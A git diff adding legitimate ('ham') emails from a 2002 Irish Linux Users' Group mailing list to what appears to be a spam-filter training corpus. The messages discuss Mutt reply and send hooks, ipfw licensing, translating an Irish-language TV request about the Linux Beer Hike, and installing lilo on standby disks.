(8.9.3/8.9.3) with ESMTP id LAA31573 for ; + Tue, 30 Jul 2002 11:09:26 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g6UA9PY29756 for ; + Tue, 30 Jul 2002 11:09:25 +0100 +Date: Tue, 30 Jul 2002 11:09:23 +0100 +To: David Neary +Cc: ilug@linux.ie +Subject: Re: [ILUG] Mutt reply hooks +Message-Id: <20020730110923.A29287@ie.suberic.net> +References: <20020730112811.A32231@wanadoo.fr> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <20020730112811.A32231@wanadoo.fr>; from dneary@wanadoo.fr on + Tue, Jul 30, 2002 at 11:28:11AM +0200 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +Mail-Followup-To: kevin+dated+1028542165.571dd7@linux.ie, + dneary@wanadoo.fr, ilug@linux.ie +X-Delivery-Agent: TMDA/0.57 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Jul 30, 2002 at 11:28:11AM +0200, David Neary wrote: +> For example, say I have a company, and sales@company.com, +> info@company.com and tech@company.com arrive in the same mailbox. +> I don't want to reply to sales@company.com mails with the From: +> set to dave@company.com, I would like the mail to come from +> sales@company.com. +> +> Is there any way to do this? Bearing in mind that mail can arrive +> with my email in the To or Cc fields (and Bcc?), and it might be +> buried in a couple of dozen other recipients... + +i sort my mail into folders using procmail. so typically i'm in the +ilug folder for ilug mail, the doolin folder for doolin mail, etc. +so i use folder-hooks to accomplish that. as an example (i do line +wrapping to keep it less then 80 chars long - spacing is important): + +folder-hook . "my_hdr From: kevin lyda ;"\ +"my_hdr X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646;"\ +"set pgp_sign_as=0x89D07646;set signature=~/.signature;"\ +"set folder=~/Mail;set record=~/Mail/outbox;set postponed=~/Mail/postponed" +folder-hook /(alphyra|Alphyra/[^.].*) \ +"my_hdr From: kevin lyda ;my_hdr X-GPG-Fingerprint: "\ +"088E 2BC4 381E 990A 1E0E 1DA0 4D44 99EF 20E6 38A0;"\ +"set pgp_sign_as=0x20E638A0;set signature=~/.signature.d/itg.sig;"\ +"set folder=~/Mail/Alphyra;set record=~/Mail/Alphyra/outbox;"\ +"set postponed=~/Mail/Alphyra/postponed" + +you could also do this with send hooks. i use them to tweak gpg settings: + +send-hook . "unset pgp_autoencrypt;set pgp_autosign" +send-hook (ilug|webdev|social)@linux.ie \ + "unset pgp_autosign;unset pgp_autoencrypt" + +and then i have an include file with all people who have keys. + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00157.bc9f30a8cf071135d4f3145a15013f72 b/bayes/spamham/easy_ham_2/00157.bc9f30a8cf071135d4f3145a15013f72 new file mode 100644 index 0000000..7e49fd6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00157.bc9f30a8cf071135d4f3145a15013f72 @@ -0,0 +1,67 @@ +From ilug-admin@linux.ie Tue Jul 30 11:43:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 05666440EE + for ; Tue, 30 Jul 2002 06:43:11 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 11:43:11 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6UAiLq21841 for + ; Tue, 30 Jul 2002 11:44:21 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA00469; Tue, 30 Jul 2002 11:41:08 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from fiachra.ucd.ie (fiachra.ucd.ie [137.43.12.82]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id LAA00446 for ; + Tue, 30 Jul 2002 11:41:04 +0100 +Received: from gavin by fiachra.ucd.ie with local (Exim 3.12 #1 (Debian)) + id 17ZUQK-0005VC-00 for ; Tue, 30 Jul 2002 11:40:16 +0100 +Date: Tue, 30 Jul 2002 11:40:16 +0100 +From: Gavin McCullagh +To: ilug@linux.ie +Subject: Re: [ILUG] Mutt reply hooks +Message-Id: <20020730114016.A21006@fiachra.ucd.ie> +Reply-To: Irish Linux Users Group +Mail-Followup-To: ilug@linux.ie +References: <20020730112811.A32231@wanadoo.fr> + <"from <20020730110032.A19970@fiachra.ucd.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <20020730110032.A19970@fiachra.ucd.ie>; from + ilug_gmc@fiachra.ucd.ie on Tue, Jul 30, 2002 at 11:00:32 +0100 +X-Gnupg-Publickey: http://fiachra.ucd.ie/~gavin/public.gpg +X-Operating-System: Linux 2.4.18 i686 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi, + +On Tue, 30 Jul 2002, Gavin McCullagh wrote: + +> set alternates = "kbeditor@linuxcare.com|coolapps@linuxcare.com" +> set reverse_name + +PS Make sure not to have a line like this: + + send-hook . 'my_hdr From: Gavin McCullagh " + +which will only override it and cause pain and suffering. + +Gavin + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00158.ff9883d957625bb98a5f6ca28fa7d495 b/bayes/spamham/easy_ham_2/00158.ff9883d957625bb98a5f6ca28fa7d495 new file mode 100644 index 0000000..f7d2efd --- /dev/null +++ b/bayes/spamham/easy_ham_2/00158.ff9883d957625bb98a5f6ca28fa7d495 @@ -0,0 +1,77 @@ +From ilug-admin@linux.ie Tue Jul 30 13:28:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4EB9B440EF + for ; Tue, 30 Jul 2002 08:28:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 13:28:13 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6UCOcq26151 for + ; Tue, 30 Jul 2002 13:24:38 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA04809; Tue, 30 Jul 2002 13:22:43 +0100 +Received: from hawk.dcu.ie (mail.dcu.ie [136.206.1.5]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA04785 for ; Tue, + 30 Jul 2002 13:22:38 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host mail.dcu.ie [136.206.1.5] + claimed to be hawk.dcu.ie +Received: from prodigy.redbrick.dcu.ie (136.206.15.10) by hawk.dcu.ie + (6.0.040) id 3D36BB4A00043D57 for ilug@linux.ie; Tue, 30 Jul 2002 13:22:38 + +0100 +Received: by prodigy.redbrick.dcu.ie (Postfix, from userid 1023) id + 26ED7DA4A; Tue, 30 Jul 2002 13:22:38 +0100 (IST) +Date: Tue, 30 Jul 2002 13:22:38 +0100 +From: Philip Reynolds +To: ilug@linux.ie +Subject: Re: [ILUG] ipfw vs ipchains vs iptables +Message-Id: <20020730132238.C16164@prodigy.Redbrick.DCU.IE> +References: <1027984303.58664.60.camel@flapjack.netability.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <1027984303.58664.60.camel@flapjack.netability.ie>; + from nick-lists@netability.ie on Tue, Jul 30, 2002 at 12:11:42AM +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Nick Hilliard's [nick-lists@netability.ie] 52 lines of wisdom included: +> The standard release versions of ipfilter are unencumbered, as always. +> +> > Nope, indeed IPFW2 has just been rolled out into -STABLE. (-STABLE +> > is a stable branch of the code that has been rolled into -CURRENT +> > first. It's basically a major release, that's still a work in +> > progress) +> +> I'm not so sure that ipfw2 is really ready for production yet, having +> only been mfc'd last wednesday. It certainly adds some nice syntactic +> sugar, and is apparently much faster for certain types of complex +> rulesets. It will be good once it's had some time to settle down a +> little. + +I would question anything being ready for "production" being in +STABLE. + +He's kept backwards compatibility with ipfw, which is major plus. + +My point about IPFW2 being rolled out into stable was merely an +illustration of the fact that ipfw is indeed not ipfilter, and that +there are no license issues there :) + +-- + Philip Reynolds + RFC Networks tel: 01 8832063 +www.rfc-networks.ie fax: 01 8832041 + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00159.193c2e75773e8a7c7320c9974257da5a b/bayes/spamham/easy_ham_2/00159.193c2e75773e8a7c7320c9974257da5a new file mode 100644 index 0000000..b18ee4d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00159.193c2e75773e8a7c7320c9974257da5a @@ -0,0 +1,83 @@ +From ilug-admin@linux.ie Tue Jul 30 13:28:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C9F5B440EE + for ; Tue, 30 Jul 2002 08:28:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 13:28:12 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6UCKUq26042 for + ; Tue, 30 Jul 2002 13:20:30 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA04541; Tue, 30 Jul 2002 13:18:37 +0100 +Received: from mis.nwifhe.net ([212.219.92.232]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA04516 for ; Tue, + 30 Jul 2002 13:18:32 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [212.219.92.232] claimed + to be mis.nwifhe.net +Received: from soft-dev-lin.nwifhe.net (unknown [172.200.20.5]) by + mis.nwifhe.net (Postfix) with ESMTP id 326CCCB5F for ; + Tue, 30 Jul 2002 13:18:02 +0100 (BST) +Subject: Re: [ILUG] Fwd: Linux Beer Hike +From: "Patton, Tony" +To: Irish LUG +In-Reply-To: <200207301006.36137.donncha.ocaoimh@tradesignals.com> +References: <200207301006.36137.donncha.ocaoimh@tradesignals.com> +Content-Type: text/plain; charset=ISO-8859-1 +X-Mailer: Ximian Evolution 1.0.5 +Date: 30 Jul 2002 13:17:25 +0100 +Message-Id: <1028031445.3321.2.camel@soft-dev-lin.nwifhe.net> +MIME-Version: 1.0 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + NAA04516 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, 2002-07-30 at 10:06, Donncha O Caoimh wrote: +> Ar mhaith le einne anseo caint le TG4 faoin LBW? +> +> Donncha. +> + +----8< + +> Tá mé ag déanamh taighde don clár teilifíse An Tuath Nua (a bhíonn á +> chraoladh ar TG4) faoi láthair, agus chonaic mé go mbedih an Linux Beer +> Hike ar siúl i Doolin i mbliana. Bheadh spéis againn mír a dhéanamh mar +> gheall ar an Hike ar an gclár - an mbeidh tú féin nó aon duine eile le +> Gaeilge ar an Hike go bhfios duit? +> +> Go raibh maith agat as do chabhair, +> + +---->8 + +Can someone translate this for me? Lost all sense of Irish when moved +over the border about 10 years ago. Not by choice mind you :-( + +Thanks +-- ++------------------------------------+---------------------------------+ +| Tony Patton | | +| MIS Software Developer/*nix | Tel : +44 28 7127 6443 | +| Systems Administrator | Fax : +44 28 7126 0520 | +| North West Institute of F & H.E. | Mob : +44 7764 905 955 | +| Strand Road | | +| Derry | ICQ# : 113 069 081 | +| BT48 7BY | | ++------------------------------------+---------------------------------+ + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00160.b7ad2878346c13c7726f872d632c42b5 b/bayes/spamham/easy_ham_2/00160.b7ad2878346c13c7726f872d632c42b5 new file mode 100644 index 0000000..c9ef6a3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00160.b7ad2878346c13c7726f872d632c42b5 @@ -0,0 +1,87 @@ +From ilug-admin@linux.ie Tue Jul 30 13:28:16 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C4C13440F0 + for ; Tue, 30 Jul 2002 08:28:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 13:28:13 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6UCReq26369 for + ; Tue, 30 Jul 2002 13:27:40 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA05049; Tue, 30 Jul 2002 13:25:41 +0100 +Received: from hawk.dcu.ie (mail.dcu.ie [136.206.1.5]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA05027 for ; Tue, + 30 Jul 2002 13:25:37 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host mail.dcu.ie [136.206.1.5] + claimed to be hawk.dcu.ie +Received: from prodigy.redbrick.dcu.ie (136.206.15.10) by hawk.dcu.ie + (6.0.040) id 3D36BB4A00043D9B; Tue, 30 Jul 2002 13:25:37 +0100 +Received: by prodigy.redbrick.dcu.ie (Postfix, from userid 666) id + 006A1DA4A; Tue, 30 Jul 2002 13:25:36 +0100 (IST) +Date: Tue, 30 Jul 2002 13:25:36 +0100 +From: =?iso-8859-1?Q?Colm_MacC=E1rthaigh?= +To: "Patton, Tony" +Cc: Irish LUG +Subject: Re: [ILUG] Fwd: Linux Beer Hike +Message-Id: <20020730132536.A6278@prodigy.Redbrick.DCU.IE> +References: <200207301006.36137.donncha.ocaoimh@tradesignals.com> + <1028031445.3321.2.camel@soft-dev-lin.nwifhe.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Disposition: inline +Content-Transfer-Encoding: 8bit +User-Agent: Mutt/1.2.5i +In-Reply-To: <1028031445.3321.2.camel@soft-dev-lin.nwifhe.net>; + from tony.patton@nwifhe.ac.uk on Tue, Jul 30, 2002 at 01:17:25PM +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Jul 30, 2002 at 01:17:25PM +0100, Patton, Tony wrote: +> On Tue, 2002-07-30 at 10:06, Donncha O Caoimh wrote: +> > Ar mhaith le einne anseo caint le TG4 faoin LBW? +> > +> > Donncha. +> > +> +> ----8< +> +> > Tá mé ag déanamh taighde don clár teilifíse An Tuath Nua (a bhíonn á +> > chraoladh ar TG4) faoi láthair, agus chonaic mé go mbedih an Linux Beer +> > Hike ar siúl i Doolin i mbliana. Bheadh spéis againn mír a dhéanamh mar +> > gheall ar an Hike ar an gclár - an mbeidh tú féin nó aon duine eile le +> > Gaeilge ar an Hike go bhfios duit? +> > +> > Go raibh maith agat as do chabhair, +> > +> +> ---->8 +> +> Can someone translate this for me? Lost all sense of Irish when moved +> over the border about 10 years ago. Not by choice mind you :-( + + +"Currently, I am doing some research for the telivision programme +"An Tuath Nua" (which is broadcast by TG4) , and I saw that the +Linux Beer Hike will be in Doolin this year. We'd be intrested +in including a report on the hike in the programme - will yourself +or anyone else with Irish be on the Hike do you know ? + +Thanks for your help." + +-- +colmmacc@redbrick.dcu.ie PubKey: colmmacc+pgp@redbrick.dcu.ie +Web: http://devnull.redbrick.dcu.ie/ + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00161.ff20c49f90c9405fc62064706ddcd615 b/bayes/spamham/easy_ham_2/00161.ff20c49f90c9405fc62064706ddcd615 new file mode 100644 index 0000000..f62aa15 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00161.ff20c49f90c9405fc62064706ddcd615 @@ -0,0 +1,90 @@ +From ilug-admin@linux.ie Tue Jul 30 13:38:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5EDF5440EF + for ; Tue, 30 Jul 2002 08:38:25 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 13:38:25 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6UCUkq26511 for + ; Tue, 30 Jul 2002 13:30:46 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA05431; Tue, 30 Jul 2002 13:29:00 +0100 +Received: from mel-rto3.wanadoo.fr (smtp-out-3.wanadoo.fr + [193.252.19.233]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id NAA05403 + for ; Tue, 30 Jul 2002 13:28:54 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host smtp-out-3.wanadoo.fr + [193.252.19.233] claimed to be mel-rto3.wanadoo.fr +Received: from mel-rta10.wanadoo.fr (193.252.19.193) by + mel-rto3.wanadoo.fr (6.5.007) id 3D1848E601223AFB for ilug@linux.ie; + Tue, 30 Jul 2002 14:28:22 +0200 +Received: from bolsh.wanadoo.fr (80.8.210.91) by mel-rta10.wanadoo.fr + (6.5.007) id 3D2A791600A46A1A for ilug@linux.ie; Tue, 30 Jul 2002 14:28:22 + +0200 +Received: from dave by bolsh.wanadoo.fr with local (Exim 3.32 #1 (Debian)) + id 17ZWBb-0000UU-00 for ; Tue, 30 Jul 2002 14:33:11 +0200 +Date: Tue, 30 Jul 2002 14:33:11 +0200 +From: David Neary +To: Irish LUG +Subject: Re: [ILUG] Fwd: Linux Beer Hike +Message-Id: <20020730143311.A1839@wanadoo.fr> +References: <200207301006.36137.donncha.ocaoimh@tradesignals.com> + <1028031445.3321.2.camel@soft-dev-lin.nwifhe.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-15 +Content-Disposition: inline +Content-Transfer-Encoding: 8bit +In-Reply-To: <1028031445.3321.2.camel@soft-dev-lin.nwifhe.net> +User-Agent: Mutt/1.3.23i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Patton, Tony wrote: +> On Tue, 2002-07-30 at 10:06, Donncha O Caoimh wrote: +> > Ar mhaith le einne anseo caint le TG4 faoin LBW? +> > +> > Donncha. +> > +> +> ----8< +> +> > Tá mé ag déanamh taighde don clár teilifíse An Tuath Nua (a bhíonn á +> > chraoladh ar TG4) faoi láthair, agus chonaic mé go mbedih an Linux Beer +> > Hike ar siúl i Doolin i mbliana. Bheadh spéis againn mír a dhéanamh mar +> > gheall ar an Hike ar an gclár - an mbeidh tú féin nó aon duine eile le +> > Gaeilge ar an Hike go bhfios duit? +> > +> > Go raibh maith agat as do chabhair, +> > +> +> ---->8 +> +> Can someone translate this for me? Lost all sense of Irish when moved +> over the border about 10 years ago. Not by choice mind you :-( + +In short, "I'm involved in making a TV program "The New Road" +(which will be on TG4) at the moment, and I saw that there'll be +a Linux Beer Hike in Doolin this year. We'd be delighted to do a +report about the hike for the programme - will yourself or +anyone else with Irish be on the hike? Thanks for the help, +A chara, + +Dave. + +-- + David Neary, + Marseille, France + E-Mail: bolsh@gimp.org + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00162.e00f7a587737adf0ac5301861e887e73 b/bayes/spamham/easy_ham_2/00162.e00f7a587737adf0ac5301861e887e73 new file mode 100644 index 0000000..0ccd7bd --- /dev/null +++ b/bayes/spamham/easy_ham_2/00162.e00f7a587737adf0ac5301861e887e73 @@ -0,0 +1,69 @@ +From ilug-admin@linux.ie Tue Jul 30 15:57:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 54C1B440F3 + for ; Tue, 30 Jul 2002 10:57:38 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 15:57:38 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6UEtDq00499 for + ; Tue, 30 Jul 2002 15:55:13 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA12736; Tue, 30 Jul 2002 15:53:42 +0100 +Received: from hawk.dcu.ie (mail.dcu.ie [136.206.1.5]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA12701; Tue, 30 Jul 2002 15:53:36 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host mail.dcu.ie [136.206.1.5] + claimed to be hawk.dcu.ie +Received: from prodigy.redbrick.dcu.ie (136.206.15.10) by hawk.dcu.ie + (6.0.040) id 3D36BB4A000452A1; Tue, 30 Jul 2002 15:53:35 +0100 +Received: by prodigy.redbrick.dcu.ie (Postfix, from userid 666) id + B64ABDA4A; Tue, 30 Jul 2002 15:53:35 +0100 (IST) +Date: Tue, 30 Jul 2002 15:53:35 +0100 +From: =?iso-8859-1?Q?Colm_MacC=E1rthaigh?= +To: Niall O Broin , ilug@linux.ie +Subject: Re: [ILUG] Installing lilo on another disk. +Message-Id: <20020730155335.A8413@prodigy.Redbrick.DCU.IE> +References: <20020730144740.GA3482@bagend.makalumedia.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <20020730144740.GA3482@bagend.makalumedia.com>; + from niall@linux.ie on Tue, Jul 30, 2002 at 03:47:40PM +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Jul 30, 2002 at 03:47:40PM +0100, Niall O Broin wrote: +> I'm installing warm standby disks on a number of boxes. These disks will be +> the same size (sometimes bigger) than the main disk. The idea is that every +> night I'll rsync the partitions on the main disk to the standby disk so that +> in the case of disaster, the first port of call, before the tapes, is the +> standby disk. (We did consider running Linux md RAID on the disks but RAID +> gives you no protection against slips of the finger) + +actually, on a related note, has anyone tried snapfs ? + +> Unfortunately suck and it and see is rather tricky - the machines concerned +> are not to hand. + +just keep root as hda, you can change boot all you want, that's +where it will get written when you run lilo from the prompt. +just have a sane lilo.conf (with root=/dev/hda) and use lilo -b +to write to different devices. + +-- +colmmacc@redbrick.dcu.ie PubKey: colmmacc+pgp@redbrick.dcu.ie +Web: http://devnull.redbrick.dcu.ie/ + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00163.b1c2e35dfbadbea6df3815717933f1fa b/bayes/spamham/easy_ham_2/00163.b1c2e35dfbadbea6df3815717933f1fa new file mode 100644 index 0000000..d48b592 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00163.b1c2e35dfbadbea6df3815717933f1fa @@ -0,0 +1,82 @@ +From ilug-admin@linux.ie Tue Jul 30 16:18:06 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 50887440F0 + for ; Tue, 30 Jul 2002 11:18:06 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 16:18:06 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6UFAkq01603 for + ; Tue, 30 Jul 2002 16:10:46 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA13586; Tue, 30 Jul 2002 16:09:00 +0100 +Received: from mis.nwifhe.net ([212.219.92.232]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA13553 for ; Tue, + 30 Jul 2002 16:08:55 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [212.219.92.232] claimed + to be mis.nwifhe.net +Received: from soft-dev-lin.nwifhe.net (unknown [172.200.20.5]) by + mis.nwifhe.net (Postfix) with ESMTP id 31D2BCB5F for ; + Tue, 30 Jul 2002 16:08:25 +0100 (BST) +Subject: Re: [ILUG] Fwd: Linux Beer Hike +From: "Patton, Tony" +To: Irish LUG +In-Reply-To: <1028031445.3321.2.camel@soft-dev-lin.nwifhe.net> +References: <200207301006.36137.donncha.ocaoimh@tradesignals.com> + <1028031445.3321.2.camel@soft-dev-lin.nwifhe.net> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.5 +Date: 30 Jul 2002 16:07:47 +0100 +Message-Id: <1028041667.3321.7.camel@soft-dev-lin.nwifhe.net> +MIME-Version: 1.0 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, 2002-07-30 at 13:17, Patton, Tony wrote: + +8< + +> +> Can someone translate this for me? Lost all sense of Irish when moved +> over the border about 10 years ago. Not by choice mind you :-( +> + +8< + +Thanks to all who replied. + +Are there many from this list going to the LBW? + +I am trying to get the thursday and friday off work to get to it. + +Looking doubtful as it is very near the start of term. Bloody academic +institutes :-). + +it only going to take me about 6 hours or so to get there :-( + + +-- ++------------------------------------+---------------------------------+ +| Tony Patton | | +| MIS Software Developer/*nix | Tel : +44 28 7127 6443 | +| Systems Administrator | Fax : +44 28 7126 0520 | +| North West Institute of F & H.E. | Mob : +44 7764 905 955 | +| Strand Road | | +| Derry | ICQ# : 113 069 081 | +| BT48 7BY | | ++------------------------------------+---------------------------------+ + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00164.9e2e72c2afac966e790a7ab09ef24937 b/bayes/spamham/easy_ham_2/00164.9e2e72c2afac966e790a7ab09ef24937 new file mode 100644 index 0000000..89a1288 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00164.9e2e72c2afac966e790a7ab09ef24937 @@ -0,0 +1,78 @@ +From ilug-admin@linux.ie Tue Jul 30 19:42:40 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5E5EF440E5 + for ; Tue, 30 Jul 2002 14:42:32 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 19:42:32 +0100 (IST) +Received: 